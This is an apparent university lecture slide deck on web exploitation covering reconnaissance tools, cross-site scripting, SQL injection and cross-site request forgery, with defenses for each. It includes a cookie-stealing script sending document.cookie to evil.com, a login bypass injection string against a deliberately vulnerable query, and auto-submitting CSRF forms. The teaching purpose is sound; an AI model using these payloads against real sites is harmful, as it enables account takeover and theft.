# Web exploitation: ## Going beyond *"Inspect Element"* ## CS 3710: Intro to Cybersecurity === ## Reconnaissance --- ## Reconnaissance <figure> <img src="../../img/web/recon_ckc.png"class="image-background"style="max-height: 40vh; padding: 2em;"> <figcaption> </figcaption> </figure> --- ## Attack surfaces _**Attack surface:**_ all of the points in which an attacker might find a way to gain access a target's environment. <div class="fragment" data-fragment-index="0"> An attack surface can include many components: <div class="fragment semi-fade-out" data-fragment-index="1"> - Any public-facing infrastructure, e.g. web and DNS servers </div> <div class="fragment fade-in-then-semi-out" data-fragment-index="1"> - Physical infrastructure, e.g. telecommunications cables </div> <div class="fragment fade-in-then-semi-out" data-fragment-index="2"> - Organizational assets -- domain names, TLS certificates, etc. </div> <div class="fragment fade-in" data-fragment-index="3"> - People, as subjects of external influence and as insider threats </div> --- ## What is reconnaissance? <div class="fragment semi-fade-out" data-fragment-index="0"> Unless they have insider access, attackers usually start off with very little information about the networks they're penetrating. </div> <div class="fragment fade-in-then-semi-out" data-fragment-index="0"> Before they can obtain access to a target's network, they have to gather information about the target's attack surface and identify potential vulnerabilities. </div> <div class="fragment" data-fragment-index="1"> The common term for this intelligence-gathering stage is _**reconnaissance**_. </div> --- ## Case study: Equifax When Equifax was breached in May 2017, it was using Apache Struts to run its website. Two months earlier, a critical vulnerability had been identified in Struts (CVE-2017-5638). <figure> <img src="../../img/web/apache_struts.svg"class="image-background"style="padding: 1em; max-height: 20vh;"> <figcaption> *Source: Apache Software Foundation* </figcaption> </figure> notes: Apache Struts is a web application framework for developing web apps in Java. Website: https://struts.apache.org/ - [CVE-2017-5638](https://github.com/rapid7/metasploit-framework/issues/8064) - [NIST advisory](https://nvd.nist.gov/vuln/detail/CVE-2017-5638) --- ## Case study: Equifax <div class="fragment semi-fade-out" data-fragment-index="0"> Between March and May 2017, Equifax failed to patch their servers, leaving it open to the vulnerability. </div> <div class="fragment fade-in-then-semi-out" data-fragment-index="0"> As an attacker, it's valuable to know whether the target is running vulnerable software that could be exploited to gain access to their network. </div> <div class="fragment" data-fragment-index="1"> Conversely, the defender wants to discover whether any of their servers have known vulnerabilities so that they can quickly remediate. </div> --- ## Port scanning: `nmap` A _**port scanner**_ is a tool that scans the open ports of a machine and tries to figure out as much information as possible from those ports. _**Nmap**_ is a port scanning and network diagnostic tool that can show you information about a server, including its operating system, what services it's running, and more. <figure> <img src="../../img/networking/nmap_logo.webp"> <figcaption> *Source: the Nmap Project* </figcaption> </figure> --- ## Port scanning: `nmap` **Example:** <pre> <code class="text" data-trim data-line-numbers="1-14|1|3-4,6-7|6|7-12" data-fragment-index="1"> $ nmap -v -A scanme.nmap.org ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) ... 25/tcp filtered smtp 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: 156515DA3C0F7DC6B2493BD5CE43F795 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Go ahead and ScanMe! ... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel </pre> </code> <div class="r-stack"> <div class="fragment fade-in-then-out" data-fragment-index="1"> `-v`: verbose output `-A`: enable OS detection, version detection, script scanning, and traceroute </div> <div class="fragment fade-in-then-out" data-fragment-index="2"> Nmap shows us the open ports that it was able to identify, and what services it believes are on those ports. </div> <div class="fragment fade-in-then-out" data-fragment-index="3"> Some ports may be "filtered", which means that Nmap can't tell if it's open or closed because of packet filtering rules </div> <div class="fragment fade-in-then-out" data-fragment-index="4"> Nmap will run scripts against common service to try and get more information about them </div> </div> notes: Some important flags for Nmap: - `-v`: verbose output - `-A`: Enable OS detection, version detection, script scanning, and traceroute - `-p`: ports to scan (normally, Nmap just scans 1000 common ports) - `-sn`: ping scan (skip port scan, just discover which hosts are up) - `-sT`: TCP scan - `-sU`: UDP scan - `-Pn`: skip host discovery (treat all hosts as online) Flags for generating output: - `-oN`: "normal" (i.e., output results directly as text) - `-oX`: XML - `-oG`: greppable format (easier to filter results with `grep`) Flags for scripting: - `--script`: run a script scan with one or more scripts. - `--script-help`: get information about a script. You can list all of the scripts by running `--script-help=all`. This flag also supports globbing, so you can do e.g. `--script-help=http*` to get information about all of the scripts whose name starts with `http`. Additionally, important to note that you can scan an entire subnet by passing in the corresponding CIDR notation, e.g. `192.168.0.0/16`. --- ## Fuzzing and directory enumeration: `ffuf` _**`ffuf`**_ (*"Fast Fuzzer U Fool"*) is a web fuzzing utility that can be used to discovering a web server's contents and explore its responses to requests. <div class="text-center"> <img src="../../img/web/ffuf_run_logo_600.webp"> </div> notes: GitHub: https://github.com/ffuf/ffuf Overview: https://codingo.io/tools/ffuf/bounty/2020/09/17/everything-you-need-to-know-about-ffuf.html --- ## Fuzzing and directory enumeration: `ffuf` <div class="container"> <div class="col"> _**Example:**_ find all directories and webpages prefixed by the URL <div class="text-center"> `https://ffuf.io.fi` </div> ```bash $ ffuf -c -w /path/to/wordlist \ -u https://ffuf.me/FUZZ ``` - `-c`: colorize output - `-w`: wordlist to use - `-u`: URL to enumerate </div> <div class="col text-center text-small"> <div class="image-background"> <img src="../../img/web/ffuf_example.webp" style="max-height: 50vh;"> </div> *Source: https://github.com/ffuf/ffuf* </div> </div> --- ## Open-source intelligence (OSINT) _**Open-source intelligence**_, or _**OSINT**_, is information gathered from open and public resources, like websites and social media. **Example:** Bellingcat's [recent investigation](https://www.bellingcat.com/news/2022/08/25/socialite-widow-jeweller-spy-how-a-gru-agent-charmed-her-way-into-nato-circles-in-italy/) into Maria Adela <figure> <img src="../../img/misc/bellingcat_maria_adela.webp"style="max-height: 40vh;"> <figcaption> </figcaption> </figure> notes: References: - [OSINT on Wikipedia](https://en.wikipedia.org/wiki/Open-source_intelligence) - [Bellingcat guide](https://www.bellingcat.com/resources/2021/11/09/first-steps-to-getting-started-in-open-source-research/) - [Bellingcat report on Maria Adela](https://www.bellingcat.com/news/2022/08/25/socialite-widow-jeweller-spy-how-a-gru-agent-charmed-her-way-into-nato-circles-in-italy/) --- ## OSINT challenge <figure> <img src="../../img/misc/osint_chal.webp"style="max-height: 40vh;"> <figcaption> Where was this picture taken? https://www.cs.virginia.edu/~wss2ec/courses/cs3710/img/misc/osint_chal.webp </figcaption> </figure> --- ## OSINT challenge **Answer:** <iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d103439.07655047435!2d-84.07962938813785!3d35.88647505058747!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x885c17c41d670051%3A0xc257b0b3a18f3a35!2sCourtyard%20by%20Marriott%20Knoxville%20Downtown!5e0!3m2!1sen!2sus!4v1661714007563!5m2!1sen!2sus" width="600" height="450" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe> <div class="text-center"> Source: [@TinkerSec](https://twitter.com/TinkerSec/status/1446491011836952576?s=20&t=BCvJzWwkz9-Z2ZMMhGtfSw) </div> --- ## How does OSINT get used in practice? From a cybersecurity perspective, OSINT is a useful tool for attackers to gather information about the defender and enable more human-oriented attacks. **Examples:** - Copying employee ID badges - Phishing attacks === ## Cross-site scripting --- ## A very basic web page <pre> <code class="html" data-trim data-line-numbers="1-14|1-2,14|3-6|7-10|11-13|1-14" data-fragment-index="1"> <!doctype html> <html> <head> <meta charset="utf-8"> <link rel="stylesheet" href="style.css"> </head> <body> <h1>This is a heading</h1> <p>Hello, world!</p> </body> <script type="application/javascript"> console.log("hello, world!"); </script> </html> </code> </pre> <div class="overlap text-center"> <div class="fragment fade-in-then-out" data-fragment-index="1"> Doctype declaration; `<html>...</html>` wrapper </div> <div class="fragment fade-in-then-out" data-fragment-index="2"> `<head>` containing metadata </div> <div class="fragment fade-in-then-out" data-fragment-index="3"> Page body rendered in web browser </div> <div class="fragment fade-in-then-out" data-fragment-index="4"> JavaScript contained inside `<script>...</script>` tags </div> </div> --- ## A very basic web page <pre class="code-wrapper"> <code class="html" data-trim> <!doctype html> <html> <head> <meta charset="utf-8"> <link rel="stylesheet" href="style.css"> </head> <body> <h1>This is a heading</h1> <p>Hello, world!</p> </body> <script type="application/javascript"> console.log("hello, world!"); </script> </html> </code> </pre> <div class="text-center"> <img src="../../img/web/basic_webpage.webp"> </div> --- ## JavaScript _**JavaScript**_ is a programming language that drives client-side behavior on websites. Almost all websites that you visit use JavaScript in some way. *(Even these slides use JavaScript -- they were built with [reveal.js](https://revealjs.com)!)* --- ## Cross-site scripting _**Cross-site scripting**_ (abbreviated _**XSS**_) is an attack in which malicious JavaScript is uploaded to a server and then injected into other users' browsers when they retrieve a page. --- ## Attack \#1: site redirection, defacement ```html <script> window.location = "https://evil.com"; </script> ``` --- ## Attack \#2: cookie stealing <div class="container"> <div class="col"> Another way that an attacker can leverage XSS is to try and exfiltrate users' cookies to an attacker-controlled server. Recall that _**cookies**_ are small amounts of data that a website can store in the browser, which are often used for authentication. With a copy of another user's cookies, you can log in as them. </div> <div class="text-center col"> <img src="../../img/web/squirrel_cookie.webp" style="transform: rotate(90deg); max-height: 10em; margin-top: 3em;"> </div> </div> --- ## Attack \#2: cookie stealing Attacker workflow: - The attacker injects JavaScript that retrieves the `document.cookie` variable. <div class="fragment fade-in"> - The attacker's JavaScript makes an HTTP request containing the cookie(s) to a server they control. </div> <div class="fragment fade-in"> - As users start loading the attacker's code, the attacker watches requests to their server to retrieve stolen cookies. </div> --- ## Attack \#2: cookie stealing <pre> <code class="html" data-trim data-line-numbers="1-5|2|3-4|1-5" data-fragment-index="1"> <script> fetch("https://evil.com/?" + document.cookie) .then(() => console.log("Successfully exfiltrated cookies!")) .catch(err => console.log("Error: " + err)); </script> </code> </pre> <div class="r-stack"> <div class="fragment fade-in-then-out" data-fragment-index="1"> `fetch` makes an HTTP GET request to `https://evil.com` containing the cookie. **Example:** if `document.cookie` is `auth=0123abcdef`, it will make a request to <div class="text-center"> `https://evil.com/?auth=0123abcdef` </div> </div> <div class="fragment fade-in-then-out" data-fragment-index="2"> Handle cases where the request succeeded or failed </div> </div> --- ## Real-world XSS vulnerabilities **Fortnite:** in 2019, an XSS was found in an old subdomain owned by Epic Games (the publishers of *Fortnite*). If it had been exploited, it could have been used to gain access to a user's account by tricking them into clicking on a link to the vulnerable subdomain. <iframe width="560" height="315" src="https://www.youtube.com/embed/poQmRWWh45s" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> notes: References: - [Check Point Research writeup](https://research.checkpoint.com/2019/hacking-fortnite/) - [PortSwigger](https://portswigger.net/daily-swig/xss-slip-up-exposed-fortnite-gamers-to-account-hijack) --- ## Examples <div class="text-center"> [Google Gruyere](https://google-gruyere.appspot.com) </div> notes: - XSS 1: upload a snippet with `img` tags and `onmouseover="alert('xss')"` - Alternative: use anchor tags with `onmouseover` - XSS 2: try an invalid URL, e.g. /asdf --- ## Defending against XSS XSS attacks have become progressively less common over time as awareness of them has increased. <div class="fragment"> An important technique for defending against XSS (and many other attacks) is _**input sanitization**_: don't trust input that non-priviliged users can supply, and make sure that it doesn't get injected into the source of the webpage or the server. </div> --- ## Defending against XSS **Defense:** HTML encoding HTML encoding is a means for encoding various characters that might otherwise be interpreted as part of the DOM (Document Object Model). <pre> <code class="html" data-trim> <script> alert(); </script> </code> </pre> <div class="fragment"> Under HTML encoding, this becomes: <pre> <code class="html" data-trim> &lt;script&gt; alert(); &lt;/script&gt; </code> </pre> This looks identical to the text with the `<script>...</script>` tags in your browser, but it doesn't get interpreted as JavaScript. </div> --- ## Defending against XSS **Defense:** XSS sanitization Sometimes you still want to allow users to use a "safe" subset of HTML. For those purposes, you can use an XSS sanitizer like [DOMPurify](https://github.com/cure53/DOMPurify). <div class="fragment"> <pre> <code class="javascript" data-trim> // becomes <img src="x"> DOMPurify.sanitize('<img src=x onerror=alert(1)//>'); // becomes <svg><g></g></svg> DOMPurify.sanitize('<svg><g/onload=alert(2)//<p>'); // becomes <p>abc</p> DOMPurify.sanitize('<p>abc<iframe//src=jAva&Tab;script:alert(3)>def</p>'); </code> </pre> </div> notes: - [DOMPurify GitHub repo](https://github.com/cure53/DOMPurify) - [DOMPurify demo](https://cure53.de/purify) === ## SQL: Structured Query Language --- ## SQL: Structured Query Language _**SQL**_ is a common domain-specific language for managing relational databases. Many databases use SQL at their core, including - SQLite - PostgreSQL - MySQL - MariaDB - Microsoft SQL Server ```text $ sqlite3 users.db SQLite version 3.34.1 2021-01-20 14:10:07 Enter ".help" for usage hints. sqlite> CREATE TABLE users ( ...> username TEXT, ...> passwd TEXT, ...> created_at INTEGER ...> ); ``` --- ## SQL: Structured Query Language Here are some example statements for SQLite: <div class="fragment"> - Create a new table: ```sqlite CREATE TABLE users (username TEXT, passwd TEXT, created_at INTEGER); ``` </div> <div class="fragment"> - Insert a new row into the table: ```sqlite INSERT INTO users (username, passwd, created_at) VALUES ('bob', 'password123', 1655483070); ``` </div> <div class="fragment"> - Fetch all columns and rows from the table: ```sqlite SELECT * FROM users; ``` </div> --- ## SQL: Structured Query Language - Fetch the username and password for all rows that were created after Jan. 1, 2022 (corresponding to the timestamp `1641013200`): ```sqlite SELECT username, passwd FROM users WHERE created_at >= 1641013200; ``` <div class="fragment"> - Add a comment to a SQLite statement ```sqlite SELECT username, passwd FROM users -- Filter by the time the users were created WHERE created_at >= 1641013200; -- timestamp = Jan. 1, 2022 ``` </div> <div class="fragment"> - Delete a table ```sqlite DROP TABLE users; ``` </div> === ## SQL injection --- ## SQL injection <div class="container"> <div class="col"> _**SQL injection**_ (often abbreviated _**SQLi**_) occurs when a user is able to inject their own input into a SQL statement and make it do something it isn't supposed to. </div> <div class="text-center col"> <img height="400px;" src="../../img/web/sqli_1bit.webp"> </div> </div> --- ## SQLi: an example <pre class="code-wrapper"> <code class="python" data-trim data-noescape data-line-numbers="1-16|1|3-4|6|7-11|13-16|1-16" data-fragment-index="1"> import sqlite3 username = input("Enter username: ") password = input("Enter password: ") with sqlite3.connect("users.db") as con: query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '{password}'" ) results = con.execute(query).fetchone() if results is None: print("Access denied :(") else: print("Access granted!") </code> </pre> <div class="overlap text-center"> <div class="fragment fade-in-then-out" data-fragment-index="2"> Program asks user for their username and password </div> <div class="fragment fade-in-then-out" data-fragment-index="3"> We connect to the `users.db` SQLite database </div> <div class="fragment fade-in-then-out" data-fragment-index="4"> We execute a `SELECT` statement that checks whether the database has a user with the specified username and password. </div> <div class="fragment fade-in-then-out" data-fragment-index="5"> If the username/password combination does not exist, `con.execute(query).fetchone()` returns `None`; otherwise, it returns the first match in the database. </div> <div class="fragment fade-in-then-out" data-fragment-index="6"> Aside: _**never**_ construct your database this way! You _**should not**_ store passwords in a database in plaintext. We'll come back to this in a later class when we talk about cryptography and password storage. </div> </div> --- ## SQLi: an example Let's focus on these lines: <div class="text-large"> ```python query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '{password}'" ) ``` </div> <div class="fragment text-large"> ```text Enter username: bob Enter password: password123 Access granted! ``` </div> <div class="fragment"> Produces the following query: <div class="text-large"> ```sqlite SELECT * FROM users WHERE username = 'bob' AND passwd = 'password123'; ``` </div> </div> --- ## SQLi: an example <div class="text-large"> ```python query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '{password}'" ) ``` <div class="fragment"> ```text Enter username: bob Enter password: incorrect_password Access denied :( ``` </div> <div class="fragment"> ```sqlite SELECT * FROM users WHERE username = 'bob' AND passwd = 'incorrect_password'; ``` </div> </div> --- ## SQLi: an example <div class="text-large"> ```python query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '{password}'" ) ``` <div class="fragment"> <pre class="code-wrapper"> <code class="plaintext" data-trim data-noescape data-line-numbers="1|2|3"> Enter username: bob Enter password: ' OR 1=1; -- Access granted! </code> </pre> </div> </div> --- ## What happened? <div class="code-inline-bg"> The SQL statement was constructed in a way that allowed us to "break out" of the `password` string and inject our own SQL code. </div> <pre class="code-wrapper"> <code class="python" data-trim data-noescape data-line-numbers="3"> query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '{password}'" ) </code> </pre> <div class="fragment text-center"> `password` $\to$ `' OR 1=1; --` </div> <div class="fragment"> $$ \downarrow $$ <pre class="code-wrapper"> <code class="python" data-trim data-noescape data-line-numbers="3"> query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '' OR 1=1; --'" ) </code> </pre> <pre class="code-wrapper"> <code class="sqlite" data-trim data-noescape data-line-numbers="2"> SELECT * FROM users WHERE username = 'bob' AND passwd = '' OR 1=1; --'; </code> </pre> </div> --- ## `sqlmap` [`sqlmap`](https://sqlmap.org/) is a command line tool that you can use to automatically identify SQL injections in websites. <div class="text-center"> <img src="../../img/web/sqlmap.webp"> <div class="text-small"> *Source: sqlmap.org* </div> </div> --- ## Defenses against SQLi Libraries for interfacing with SQL (should) have a means of inserting user-supplied parameters and properly sanitizing them. <pre class="code-wrapper"> <code class="python" data-trim data-noescape data-line-numbers="1-6|8-10" data-fragment-index=0> # Unsafe!!! query = ( f"SELECT * FROM users WHERE username = '{username}' " f"AND passwd = '{password}'" ) results = con.execute(query) # Safe query = "SELECT * FROM users WHERE username = ? and passwd = ?" results = con.execute(query, (username, password)) </code> </pre> </div> <div class="r-stack"> <div class="fragment fade-out" data-fragment-index=0> The first query injects the user-supplied data directly into the SQL query and is vulnerable to SQL injection. </div> <div class="fragment" data-fragment-index=0> The second query will properly escape the user-supplied parameters and ensure that they don't become a part of the actual statement that gets executed. </div> </div> --- ## SQLi: conclusion <div class="text-center text-small"> <img height="300px;" src="../../img/web/exploits_of_a_mom.webp"> *Source: XKCD* </div> notes: - [Other SQLi vectors](https://github.com/payloadbox/sql-injection-payload-list) === ## CSRF: Cross-Site Request Forgery notes: References: - [Wikipedia page](https://en.wikipedia.org/wiki/Cross-site_request_forgery) --- ## CSRF _**Cross-Site Request Forgery**_ (**CSRF**) occurs when visiting a site generates a request that triggers a change in another site. --- ## Cross-site request forgery <div class="r-stack"> When you visit a website, it's normal for the website to trigger requests to a bunch of other sites. </div> <div class="image-background" style="max-height: 40vh;"> <figure> <img src="../../img/web/browser_requests.svg"style="max-height: 30vh;"> <figcaption> </figcaption> </figure> </div> --- ## Cross-site request forgery <div class="fragment semi-fade-out" data-fragment-index="0"> Normally, these requests are (relatively) benign. </div> <div class="fragment" data-fragment-index="0"> However, if you visit a malicious website, an attacker can try to get your browser to make HTTP requests to a site that you trust </div> --- ## HTML forms This is a basic "user login" HTML form: <pre> <code class="html" data-trim data-fragment-index="0" data-line-numbers="1-5|1|1|2-3|4|1-5"> <form action="/login" method="POST"> <input type="text" name="username"> <input type="password" name="password"> <input type="submit" name="login"> </form> </code> </pre> <div class="r-stack"> <div class="fragment fade-out" data-fragment-index="0"> <figure> <img src="../../img/web/user_login_form_example.webp"style="max-height: 30vh;"> <figcaption> </figcaption> </figure> </div> <div style="text-align: left; width: 100%;" class="fragment" data-fragment-index="0"> <div class="fragment fade-out" data-fragment-index="4"> <div class="fragment fade-in-then-semi-out" data-fragment-index="0"> `action="/login"`: URL to send data to </div> <div class="fragment fade-in-then-semi-out" data-fragment-index="1"> `method="POST"`: type of HTTP request to make (`POST` request) </div> <div class="fragment fade-in-then-semi-out" data-fragment-index="2"> `<input>` elements: key-value pairs that get sent alongside the POST request. </div> <div class="fragment fade-in" data-fragment-index="3"> `submit` input element: triggers the `POST` request </div> </div> </div> <div class="fragment fade-in-then-out" data-fragment-index="4"> <figure> <img src="../../img/web/user_login_form_example.webp"style="max-height: 30vh;"> <figcaption> </figcaption> </figure> </div> </div> --- ## CSRF example Suppose that `www.example.com` implemented user logout by simply having users make a POST request to the `/logout` URL. <pre> <code class="html" data-trim> <form action="/logout" method="POST"> <input type="submit" name="logout" value="Logout"> </form> </code> </pre> <figure> <img src="../../img/web/logout_button.png"> <figcaption> </figcaption> </figure> notes: A technicality here (and in the following slides) is that the HTML seen by the viewer in the frontend doesn't actually dictate how the server itself handles logouts. However, for simplicity we will assume that the semantics of the form shown above match those of the true logout method. --- ## CSRF example <div class="fragment semi-fade-out" data-fragment-index="0"> An attacker who tricks a user into visiting `www.evil.com` can create a form that automatically makes a POST request to the vulnerable `/logout` endpoint: </div> <div class="fragment" data-fragment-index="0"> <pre> <code class="html" data-trim data-line-numbers="1-7|1-3|5-7" data-fragment-index="1"> <form id="evil-form" action="http://www.example.com/logout" method="POST"> <input type="submit" name="logout" value="Logout"> </form> <script> document.getElementById("evil-form").submit(); </script> </code> </pre> </div> <div class="r-stack"> <div class="fragment fade-in-then-out" data-fragment-index="1"> Form duplicating the action of the logout button on the original page </div> <div class="fragment" data-fragment-index="2"> JavaScript that manually "clicks" the logout button in the form </div> </div> --- ## CSRF example <div class="fragment semi-fade-out" data-fragment-index="0"> We can come up with more malicious ideas than just logging a person out of their account: </div> <div class="fragment" data-fragment-index="0"> <pre> <code class="html" data-trim> <form id="evil-form" action="http://www.bank.com/transfer" method="POST"> <input type="text" name="to" value="Alice"> <input type="text" name="amount" value="200"> <input type="submit" value="submit"> </form> <script> document.getElementById("evil-form").submit(); </script> </code> </pre> <div class="text-center"> *Ex. Use CSRF to transfer $200 to Alice from your bank's website* </div> </div> --- ## Defenses: CSRF tokens <div class="fragment semi-fade-out" data-fragment-index="0"> The most popular method for defending against CSRF is to use _**CSRF tokens**_. </div> <pre> <code class="html" data-trim data-fragment-index="0" data-line-numbers="1-4|2"> <form action="/logout" method="POST"> <input type="hidden" name="csrftoken" value="1qWCsmE5T3nY55plgtm3EwarasJkVOJm"> <input type="submit" name="logout" value="Logout"> </form> </code> </pre> <div class="fragment fade-in-then-semi-out" data-fragment-index="0"> The server randomly generates this token and embeds it in the page. </div> <div class="fragment" data-fragment-index="1"> This token must be sent alongside any requests that the user makes on the page. When the server receives a token, it's validated against the user's session data. </div> --- ## Defenses: CSRF tokens *Without a CSRF token:* <figure> <img src="../../img/web/no_csrf_token.png"class="image-background"style="padding: 1em; max-width: 50vw;"> <figcaption> </figcaption> </figure> --- ## Defenses: CSRF tokens *With a CSRF token:* <figure> <img src="../../img/web/request_with_csrf_token.png"class="image-background"style="padding: 1em; max-width: 50vw;"> <figcaption> </figcaption> </figure> --- ## Demo: TickTock ```bash cd $(mktemp -d) URL="https://www.cs.virginia.edu/~wss2ec/courses/cs3710" URL="$URL/examples/web/csrf_ticktock_example.html" wget "$URL" -O index.html # Starts a web server on localhost:8000, which you can then visit # in your browser python3 -m http.server ``` (Will only work through the Lab 2 environment in VCR.) notes: TickTock's `/logout` endpoint is vulnerable to CSRF; meanwhile, post creation (via `/api/posts/create`) is not. This will only work if the page is run on localhost, since TickTock runs over HTTP and the course website runs over HTTPS. --- ## Real-world examples In 2020, TikTok had a CSRF vulnerability that, when combined with a reflected XSS vulnerability, could result in a "one-click" account takeover. - [HackerOne bug report](https://hackerone.com/reports/968082) - [ZDNet article](https://www.zdnet.com/article/tiktok-patches-reflected-xss-bug-one-click-account-takeover-exploit/) --- ## Conclusion An attacker who can trick a victim into visiting a website that they control can manipulate the victim's browser into making a request to a website vulnerable to CSRF. Depending on the severity of the CSRF, this can allow an attacker to perform various actions on that website as if they were the victim.